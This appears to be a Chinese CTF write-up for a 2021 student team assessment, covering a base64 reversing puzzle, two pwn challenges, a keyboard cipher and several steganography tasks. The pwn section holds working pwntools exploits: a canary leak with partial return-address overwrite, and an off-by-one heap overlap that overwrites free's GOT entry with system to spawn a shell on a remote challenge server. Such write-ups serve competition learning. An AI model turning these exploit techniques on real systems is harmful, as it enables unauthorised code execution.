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XJUSEC2021戰隊考核賽wp

2021-09-19 08:40:46 其他

xjusec考核賽wp

REVERSE:

justbase64

這個題是以前看見過的一個類似的題,ida打開

在這里插入圖片描述

這邊目錄看見encode_one,encode_two,encode_three三個編碼,右邊主函式里就是三次編碼后形成的"EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG",題目也有提示base64,但肯定不只有base64

挨個看,在encode_one里面發現一個變數alphabet,肯定了base64的存在

在這里插入圖片描述

encode_two里面關系一張圖解釋

在這里插入圖片描述

在這里插入圖片描述

就是這樣的一個對應關系

encode_three就是有個移位的問題

在這里插入圖片描述

在這里插入圖片描述

要還原就從three開始倒過來還原

def m(v5):
    if v5 <= 64 or v5 > 90:
        if v5 <= 96 or v5 > 122:
            if v5 <= 47 or v5 > 57:
                return chr(v5)
            else:
                return chr((v5 - 45) % 10 + 48)
        else:
            return chr((v5 - 94) % 26 + 97)
    else:
        return chr((v5 - 62) % 26 + 65)


mm = {}
for i in range(33, 127):
    raw = i
    fin = m(i)
    mm[fin] = chr(raw)

data = "EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG"

print(mm)
fin2 = ""
for c in data:
    fin2 += mm[c]

print(fin2)


在這里插入圖片描述

再還原two,最后base64解碼得到flag

import base64
data = "BjYjM2Mjk4NzMR1dIVHs2NzJjY0MTEzM2VhMn0=zQ3NzhhMzhlOD"

raw = ["0" for _ in range(38)]

raw[0: 13] = data[13: 26]
raw[13: 26] = data[39: 52]
raw[26: 39] = data[0: 13]
raw[39: 52] = data[26: 39]

print(base64.b64decode("".join(raw).encode()).decode())

pwn:

ez_pwn(partial overwrite 部分覆寫)

這個題我覺得一點也不簡單,在拿到hint之后才借助互聯網的力量把他弄出來,程序艱辛
在這里插入圖片描述

在這里插入圖片描述

一種比較新鮮的堆疊溢位,叫 花式堆疊溢位

partial overwrite:在開啟了PIE后,無論高位地址如何變化,低位地址是不變的,意味著有概率“撞到”正確的地址
在這里插入圖片描述

主要的問題就是開啟了canary,而堆疊溢位在第二次read函式里,有canary保護 ,read讀滿不會追加\0 ,可以計算出第一次 read 需要的長度為 0x30 - 0x8 + 1 (+ 1 是為了覆寫 canary 的最低位為非 0 的值, printf 使用 %s 時, 遇到 \0 結束, 覆寫 canary 低位為非 0 值時, canary 就可以被 printf 列印出來了)

在這里插入圖片描述

同時也發現了奪權函式,那么第二次堆疊溢位只要回傳到奪權函式地址就行了

最后腳本多次的嘗試才拿到了flag,因為回傳地址與 get shell 函式的地址只有低位的 16 bit 不同, 如果覆寫低 16 bit 為0x0A3E, 就有一定的幾率 get shell

exp
from pwn import *

while 1:
    io=remote("175.24.233.124",10001)
    #io=process('./ez_pwn',timeout=1)
    io.recvuntil('Name:\n')
    payload=b'a'*(0x28)
    io.sendline(payload)
    io.recvuntil(payload+b'\n')
    canary=u64(io.recvn(7).rjust(8,b'\x00'))
    print('canary:'+hex(canary))
    io.recvuntil(':\n')
    payload=b'A'*0x28+p64(canary)+b'A'*8+b'\x3E\x0A'
    io.send(payload)
    io.interactive()
    io.close()

mid_pwn

在這里插入圖片描述

ida打開后,看見menu函式,五個功能

Create_Heap函式

在這里插入圖片描述

讀完后發現有兩次malloc,就意味著申請了兩次,第一個chunk可以看作是記錄的作用,里面存放著第二個chunk的size和指標,同時,第一個chunk的地址指標保存在bss段中heaparray陣列這里,兩個大小都是0x20的chunk,舉個例子方便理解

0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030 (chunk0的大小和指標)
0x603020: 0x0000000000000000 0x0000000000000021 (chunk0)
0x603030: 0x0000000a61616161 0x0000000000000000 (“aaaa”)
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000010 0x0000000000603070 (chunk1的大小和指標)
0x603060: 0x0000000000000000 0x0000000000000021 (chunk1)
0x603070: 0x0000000a62626262 0x0000000000000000 (“bbbb”)
0x603080: 0x0000000000000000 0x0000000000020f81 (top chunk)
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000

然后是edit_heap函式
在這里插入圖片描述

在這里發現了off-by-one漏洞

show_heap函式:
在這里插入圖片描述

最后的delete_heap函式讀出最后會把之前申請到的兩個chunk都free掉
在這里插入圖片描述

利用思路:

1.利用 off by one 漏洞覆寫下一個 chunk 的 size 欄位,從而構造偽造的 chunk 大小,
2.申請偽造的 chunk 大小,從而產生 chunk overlap,進而修改關鍵指標,

exp

from pwn import *
from LibcSearcher import *

r=remote('175.24.233.124',10002)
elf=ELF('./pwn2')

def create(length,value):
	r.recvuntil("Your choice :")
	r.sendline("1")
	r.recvuntil("Size of Heap : ")
	r.sendline(str(int(length)))
	r.recvuntil("Content of heap:")
	r.sendline(value)
def edit(index,value):
	r.recvuntil("Your choice :")
	r.sendline("2")
	r.recvuntil("Index :")
	r.sendline(str(int(index)))
	r.recvuntil("Content of heap : ")
	r.sendline(value)
def show(index):
	r.recvuntil("Your choice :")
	r.sendline("3")
	r.recvuntil("Index :")
	r.sendline(str(int(index)))
def delete(index):
    r.recvuntil('Your choice :')
    r.sendline('4')
    r.recvuntil('Index :')
    r.sendline(str(int(index)))

create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')

edit(0,b'a'*0x18+b'\x81')
delete(1)

size = b'\x08'.ljust(8,b'\x00')
payload = b'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)
show(2)
r.recvuntil('Content : ')
free_addr = u64(r.recvuntil('Done')[:-5].ljust(8,b'\x00'))

libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")

edit(2,p64(system_addr))
delete(3)
r.interactive()

Crypto:

tik-tak

根據提示鍵盤碼,坐標軸那種,于是驗證猜想,看到檔案名稱是tiktiktaktak,于是所有都回移一層,比如66該是第六行第二列,因為是兩個6,但題目本身重疊,所以就該是第六行第一列,以此類推得出結果

MISC:

縮小查看更多

這個題,我的方法比較硬來,直接stegsolve打開,看照片層,隱約明顯能看清
在這里插入圖片描述

在這里插入圖片描述

僅僅是流量分析?

根據hint

在這里插入圖片描述

ftm檔案,rar損壞

ftm檔案解壓點開后還有個key.pcap檔案

wireshark打開發現資料包,腳本得到資料包內容

然后010打開rar檔案,發現檔案塊位置錯誤,修改后正常解壓

打開發現233.png

stegsolve打開233.png,逐層找,找到一個二維碼,掃碼后拿到flag原樣,結合xinan發現是維吉尼亞密碼,再解密后又是柵欄密碼,最后拿到flag

在這里插入圖片描述

可愛貓貓

兩張表面上一樣的圖片

盲水印的問題,用github上的腳本

https://github.com/chishaxie/BlindWaterMark

跑出結果

在這里插入圖片描述decode腳本

exp

#!/usr/bin/env python
# -*- coding: utf8 -*-

import sys
import random

cmd = None
debug = False
seed = 20160930
oldseed = False
alpha = 3.0

if __name__ == '__main__':
    if '-h' in sys.argv or '--help' in sys.argv or len(sys.argv) < 2:
        print ('Usage: python bwm.py <cmd> [arg...] [opts...]')
        print ('  cmds:')
        print ('    encode <image> <watermark> <image(encoded)>')
        print ('           image + watermark -> image(encoded)')
        print ('    decode <image> <image(encoded)> <watermark>')
        print ('           image + image(encoded) -> watermark')
        print ('  opts:')
        print ('    --debug,          Show debug')
        print ('    --seed <int>,     Manual setting random seed (default is 20160930)')
        print ('    --oldseed         Use python2 random algorithm.')
        print ('    --alpha <float>,  Manual setting alpha (default is 3.0)')
        sys.exit(1)
    cmd = sys.argv[1]
    if cmd != 'encode' and cmd != 'decode':
        print ('Wrong cmd %s' % cmd)
        sys.exit(1)
    if '--debug' in sys.argv:
        debug = True
        del sys.argv[sys.argv.index('--debug')]
    if '--seed' in sys.argv:
        p = sys.argv.index('--seed')
        if len(sys.argv) <= p+1:
            print ('Missing <int> for --seed')
            sys.exit(1)
        seed = int(sys.argv[p+1])
        del sys.argv[p+1]
        del sys.argv[p]
    if '--oldseed' in sys.argv:
        oldseed = True
        del sys.argv[sys.argv.index('--oldseed')]
    if '--alpha' in sys.argv:
        p = sys.argv.index('--alpha')
        if len(sys.argv) <= p+1:
            print ('Missing <float> for --alpha')
            sys.exit(1)
        alpha = float(sys.argv[p+1])
        del sys.argv[p+1]
        del sys.argv[p]
    if len(sys.argv) < 5:
        print ('Missing arg...')
        sys.exit(1)
    fn1 = sys.argv[2]
    fn2 = sys.argv[3]
    fn3 = sys.argv[4]

import cv2
import numpy as np
import matplotlib.pyplot as plt

# OpenCV是以(BGR)的順序存盤影像資料的
# 而Matplotlib是以(RGB)的順序顯示影像的
def bgr_to_rgb(img):
    b, g, r = cv2.split(img)
    return cv2.merge([r, g, b])

if cmd == 'encode':
    print ('image<%s> + watermark<%s> -> image(encoded)<%s>' % (fn1, fn2, fn3))
    img = cv2.imread(fn1)
    wm = cv2.imread(fn2)

    if debug:
        plt.subplot(231), plt.imshow(bgr_to_rgb(img)), plt.title('image')
        plt.xticks([]), plt.yticks([])
        plt.subplot(234), plt.imshow(bgr_to_rgb(wm)), plt.title('watermark')
        plt.xticks([]), plt.yticks([])

    # print img.shape # 高, 寬, 通道
    h, w = img.shape[0], img.shape[1]
    hwm = np.zeros((int(h * 0.5), w, img.shape[2]))
    assert hwm.shape[0] > wm.shape[0]
    assert hwm.shape[1] > wm.shape[1]
    hwm2 = np.copy(hwm)
    for i in range(wm.shape[0]):
        for j in range(wm.shape[1]):
            hwm2[i][j] = wm[i][j]

    if oldseed: random.seed(seed,version=1)
    else: random.seed(seed)
    m, n = list(range(hwm.shape[0])), list(range(hwm.shape[1]))
    if oldseed:
        random.shuffle(m,random=random.random)
        random.shuffle(n,random=random.random)
    else:
        random.shuffle(m)
        random.shuffle(n)

    for i in range(hwm.shape[0]):
        for j in range(hwm.shape[1]):
            hwm[i][j] = hwm2[m[i]][n[j]]

    rwm = np.zeros(img.shape)
    for i in range(hwm.shape[0]):
        for j in range(hwm.shape[1]):
            rwm[i][j] = hwm[i][j]
            rwm[rwm.shape[0] - i - 1][rwm.shape[1] - j - 1] = hwm[i][j]

    if debug:
        plt.subplot(235), plt.imshow(bgr_to_rgb(rwm)), \
            plt.title('encrypted(watermark)')
        plt.xticks([]), plt.yticks([])

    f1 = np.fft.fft2(img)
    f2 = f1 + alpha * rwm
    _img = np.fft.ifft2(f2)

    if debug:
        plt.subplot(232), plt.imshow(bgr_to_rgb(np.real(f1))), \
            plt.title('fft(image)')
        plt.xticks([]), plt.yticks([])

    img_wm = np.real(_img)

    assert cv2.imwrite(fn3, img_wm, [int(cv2.IMWRITE_JPEG_QUALITY), 100])

    # 這里計算下保存前后的(溢位)誤差
    img_wm2 = cv2.imread(fn3)
    sum = 0
    for i in range(img_wm.shape[0]):
        for j in range(img_wm.shape[1]):
            for k in range(img_wm.shape[2]):
                sum += np.power(img_wm[i][j][k] - img_wm2[i][j][k], 2)
    miss = np.sqrt(sum) / (img_wm.shape[0] * img_wm.shape[1] * img_wm.shape[2]) * 100
    print ('Miss %s%% in save' % miss)

    if debug:
        plt.subplot(233), plt.imshow(bgr_to_rgb(np.uint8(img_wm))), \
            plt.title('image(encoded)')
        plt.xticks([]), plt.yticks([])

    f2 = np.fft.fft2(img_wm)
    rwm = (f2 - f1) / alpha
    rwm = np.real(rwm)

    wm = np.zeros(rwm.shape)
    for i in range(int(rwm.shape[0] * 0.5)):
        for j in range(rwm.shape[1]):
            wm[m[i]][n[j]] = np.uint8(rwm[i][j])
    for i in range(int(rwm.shape[0] * 0.5)):
        for j in range(rwm.shape[1]):
            wm[rwm.shape[0] - i - 1][rwm.shape[1] - j - 1] = wm[i][j]

    if debug:
        assert cv2.imwrite('_bwm.debug.wm.jpg', wm)
        plt.subplot(236), plt.imshow(bgr_to_rgb(wm)), plt.title(u'watermark')
        plt.xticks([]), plt.yticks([])

    if debug:
        plt.show()

elif cmd == 'decode':
    print ('image<%s> + image(encoded)<%s> -> watermark<%s>' % (fn1, fn2, fn3))
    img = cv2.imread(fn1)
    img_wm = cv2.imread(fn2)

    if debug:
        plt.subplot(231), plt.imshow(bgr_to_rgb(img)), plt.title('image')
        plt.xticks([]), plt.yticks([])
        plt.subplot(234), plt.imshow(bgr_to_rgb(img_wm)), plt.title('image(encoded)')
        plt.xticks([]), plt.yticks([])

    if oldseed: random.seed(seed,version=1)
    else: random.seed(seed)
    m, n = list(range(int(img.shape[0] * 0.5))), list(range(img.shape[1]))
    if oldseed:
        random.shuffle(m,random=random.random)
        random.shuffle(n,random=random.random)
    else:
        random.shuffle(m)
        random.shuffle(n)

    f1 = np.fft.fft2(img)
    f2 = np.fft.fft2(img_wm)

    if debug:
        plt.subplot(232), plt.imshow(bgr_to_rgb(np.real(f1))), \
            plt.title('fft(image)')
        plt.xticks([]), plt.yticks([])
        plt.subplot(235), plt.imshow(bgr_to_rgb(np.real(f1))), \
            plt.title('fft(image(encoded))')
        plt.xticks([]), plt.yticks([])

    rwm = (f2 - f1) / alpha
    rwm = np.real(rwm)

    if debug:
        plt.subplot(233), plt.imshow(bgr_to_rgb(rwm)), \
            plt.title('encrypted(watermark)')
        plt.xticks([]), plt.yticks([])

    wm = np.zeros(rwm.shape)
    for i in range(int(rwm.shape[0] * 0.5)):
        for j in range(rwm.shape[1]):
            wm[m[i]][n[j]] = np.uint8(rwm[i][j])
    for i in range(int(rwm.shape[0] * 0.5)):
        for j in range(rwm.shape[1]):
            wm[rwm.shape[0] - i - 1][rwm.shape[1] - j - 1] = wm[i][j]
    assert cv2.imwrite(fn3, wm)

    if debug:
        plt.subplot(236), plt.imshow(bgr_to_rgb(wm)), plt.title(u'watermark')
        plt.xticks([]), plt.yticks([])

    if debug:
        plt.show()

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    uj5u.com 2020-09-10 02:04:05 more
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    uj5u.com 2023-04-20 08:48:24 more
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    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

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    uj5u.com 2023-04-20 07:44:00 more
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    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

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    uj5u.com 2023-04-20 07:43:16 more
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    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

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    uj5u.com 2023-04-20 07:40:19 more